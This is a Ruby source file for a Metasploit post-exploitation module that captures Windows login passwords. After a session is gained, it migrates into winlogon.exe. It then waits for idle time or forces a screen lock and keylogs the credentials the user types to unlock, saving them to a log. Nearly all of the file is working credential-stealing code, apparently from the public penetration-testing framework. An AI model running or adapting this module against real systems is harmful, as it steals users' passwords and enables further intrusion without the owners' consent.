254 lines
8.4 KiB
Ruby
254 lines
8.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',
|
|
'Description' => %q{
|
|
This module migrates and logs Microsoft Windows user's passwords via
|
|
Winlogon.exe using idle time and natural system changes to give a
|
|
false sense of security to the user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'mubix', 'cg' ],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'References' => [['URL', 'http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html']],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
core_migrate
|
|
stdapi_railgun_api
|
|
stdapi_sys_process_get_processes
|
|
stdapi_sys_process_getpid
|
|
stdapi_ui_get_idle_time
|
|
stdapi_ui_get_keys_utf8
|
|
stdapi_ui_start_keyscan
|
|
stdapi_ui_stop_keyscan
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('INTERVAL', [true, 'Time between key collection during logging', 30]),
|
|
OptInt.new('HEARTBEAT', [true, 'Heart beat between idle checks', 30]),
|
|
OptInt.new('LOCKTIME', [true, 'Amount of idle time before lockout', 300]),
|
|
OptInt.new('PID', [false, 'Target PID, only needed if multiple winlogon.exe instances exist', nil]),
|
|
OptBool.new('WAIT', [true, 'Wait for lockout instead of default method', false])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check_admin
|
|
status = client.railgun.shell32.IsUserAnAdmin()
|
|
return status['return']
|
|
end
|
|
|
|
def get_winlogon
|
|
winlogon = []
|
|
session.sys.process.get_processes.each do |x|
|
|
if x['name'].downcase == 'winlogon.exe'
|
|
winlogon << x
|
|
end
|
|
end
|
|
if winlogon.empty?
|
|
print_status('Winlogon not found! Exiting')
|
|
return 'exit'
|
|
elsif winlogon.size == 1
|
|
return winlogon[0]['pid']
|
|
else
|
|
print_error('Multiple WINLOGON processes found, run manually and specify pid')
|
|
print_error('Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session')
|
|
winlogon.each do |tp|
|
|
print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")
|
|
end
|
|
return 'exit'
|
|
end
|
|
end
|
|
|
|
# Function for starting the keylogger
|
|
def startkeylogger(session)
|
|
print_status('Starting the keystroke sniffer...')
|
|
session.ui.keyscan_start
|
|
return true
|
|
rescue StandardError
|
|
print_error('Failed to start Keylogging!')
|
|
return false
|
|
end
|
|
|
|
# Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)
|
|
def keycap(session, keytime, logfile)
|
|
rec = 1
|
|
# Creating DB for captured keystrokes
|
|
print_status("Keystrokes being saved in to #{logfile}")
|
|
# Inserting keystrokes every number of seconds specified
|
|
print_status('Recording ')
|
|
while rec == 1
|
|
# getting Keystrokes
|
|
data = session.ui.keyscan_dump
|
|
outp = ''
|
|
data.unpack('n*').each do |inp|
|
|
fl = (inp & 0xff00) >> 8
|
|
vk = (inp & 0xff)
|
|
kc = VirtualKeyCodes[vk]
|
|
|
|
f_shift = fl & (1 << 1)
|
|
f_ctrl = fl & (1 << 2)
|
|
f_alt = fl & (1 << 3)
|
|
|
|
if kc
|
|
name = (((f_shift != 0) && (kc.length > 1)) ? kc[1] : kc[0])
|
|
case name
|
|
when /^.$/
|
|
outp << name
|
|
when /shift|click/i
|
|
when 'Space'
|
|
outp << ' '
|
|
else
|
|
outp << " <#{name}> "
|
|
end
|
|
else
|
|
outp << ' <0x%.2x> ' % vk
|
|
end
|
|
end
|
|
select(nil, nil, nil, 2)
|
|
file_local_write(logfile, "#{outp}\n")
|
|
if !outp.nil? && (outp.chomp.lstrip != '')
|
|
print_status("Password?: #{outp}")
|
|
end
|
|
still_locked = 1
|
|
# Check to see if the screen saver is on, then check to see if they have logged back in yet.
|
|
screensaver = client.railgun.user32.SystemParametersInfoA(114, nil, 1, nil)['pvParam'].unpack('C*')[0]
|
|
if screensaver == 0
|
|
still_locked = client.railgun.user32.GetForegroundWindow()['return']
|
|
end
|
|
if still_locked == 0
|
|
print_status('They logged back in, the last password was probably right.')
|
|
raise 'win'
|
|
end
|
|
currentidle = session.ui.idle_time
|
|
if screensaver == 0
|
|
print_status("System has currently been idle for #{currentidle} seconds and the screensaver is OFF")
|
|
else
|
|
print_status("System has currently been idle for #{currentidle} seconds and the screensaver is ON")
|
|
end
|
|
select(nil, nil, nil, keytime.to_i)
|
|
end
|
|
rescue ::Exception => e
|
|
if e.message != 'win'
|
|
print_line
|
|
print_status("#{e.class} #{e}")
|
|
end
|
|
print_status('Stopping keystroke sniffer...')
|
|
session.ui.keyscan_stop
|
|
end
|
|
|
|
def run
|
|
# Log file variables
|
|
host = session.session_host
|
|
port = session.session_port
|
|
filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create Filename info to be appended to downloaded files
|
|
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker') # Create a directory for the logs
|
|
::FileUtils.mkdir_p(logs) # Create the log directory
|
|
logfile = logs + ::File::Separator + host + filenameinfo + '.txt' # Logfile name
|
|
|
|
# Make sure we are on a Windows host
|
|
if client.platform != 'windows'
|
|
print_error('This module does not support this platform.')
|
|
return
|
|
end
|
|
|
|
# Check admin status
|
|
admin = check_admin
|
|
if admin == false
|
|
print_error('Must be an admin to migrate into Winlogon.exe, exiting')
|
|
return
|
|
end
|
|
|
|
mypid = session.sys.process.getpid
|
|
if datastore['PID'] == 0
|
|
targetpid = get_winlogon
|
|
if targetpid == 'exit'
|
|
return
|
|
end
|
|
|
|
print_status("Found WINLOGON at PID:#{targetpid}")
|
|
else
|
|
targetpid = datastore['PID']
|
|
print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")
|
|
end
|
|
|
|
if mypid == targetpid
|
|
print_status('Already in WINLOGON no need to migrate')
|
|
else
|
|
print_status("Migrating from PID:#{mypid}")
|
|
begin
|
|
session.core.migrate(targetpid)
|
|
rescue StandardError
|
|
print_error('Unable to migrate, try getsystem first')
|
|
return
|
|
end
|
|
print_good("Migrated to WINLOGON PID: #{targetpid} successfully")
|
|
end
|
|
|
|
# Override SystemParametersInfo Railgun call to check for Screensaver
|
|
# Unfortunately 'pvParam' changes it's type for each uiAction so
|
|
# it cannot be changed in the regular railgun defs
|
|
client.railgun.add_function('user32', 'SystemParametersInfoA', 'BOOL', [
|
|
['DWORD', 'uiAction', 'in'],
|
|
['DWORD', 'uiParam', 'in'],
|
|
['PBLOB', 'pvParam', 'out'],
|
|
['DWORD', 'fWinIni', 'in']
|
|
])
|
|
|
|
print_good("Keylogging for #{client.info}")
|
|
file_local_write(logfile, "#{client.info}\n")
|
|
if datastore['WAIT']
|
|
print_status('Waiting for user to lock out their session')
|
|
locked = false
|
|
while locked == false
|
|
if client.railgun.user32.GetForegroundWindow()['return'] != 0
|
|
locked = true
|
|
print_status('Session has been locked out')
|
|
else
|
|
# sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this
|
|
select(nil, nil, nil, 2)
|
|
end
|
|
end
|
|
else
|
|
currentidle = session.ui.idle_time
|
|
print_status("System has currently been idle for #{currentidle} seconds")
|
|
while currentidle <= datastore['LOCKTIME']
|
|
print_status("Current Idle time: #{currentidle} seconds")
|
|
select(nil, nil, nil, datastore['HEARTBEAT'])
|
|
currentidle = session.ui.idle_time
|
|
end
|
|
client.railgun.user32.LockWorkStation()
|
|
if client.railgun.user32.GetForegroundWindow()['return'] == 0
|
|
print_error('Locking the workstation falied, trying again..')
|
|
client.railgun.user32.LockWorkStation()
|
|
if client.railgun.user32.GetForegroundWindow()['return'] == 0
|
|
print_error('The system will not lock this session, nor will it be used for user login, exiting...')
|
|
return
|
|
else
|
|
print_status('Locked this time, time to start keyloggin...')
|
|
end
|
|
end
|
|
end
|
|
|
|
if startkeylogger(session)
|
|
keycap(session, datastore['INTERVAL'], logfile)
|
|
end
|
|
end
|
|
end
|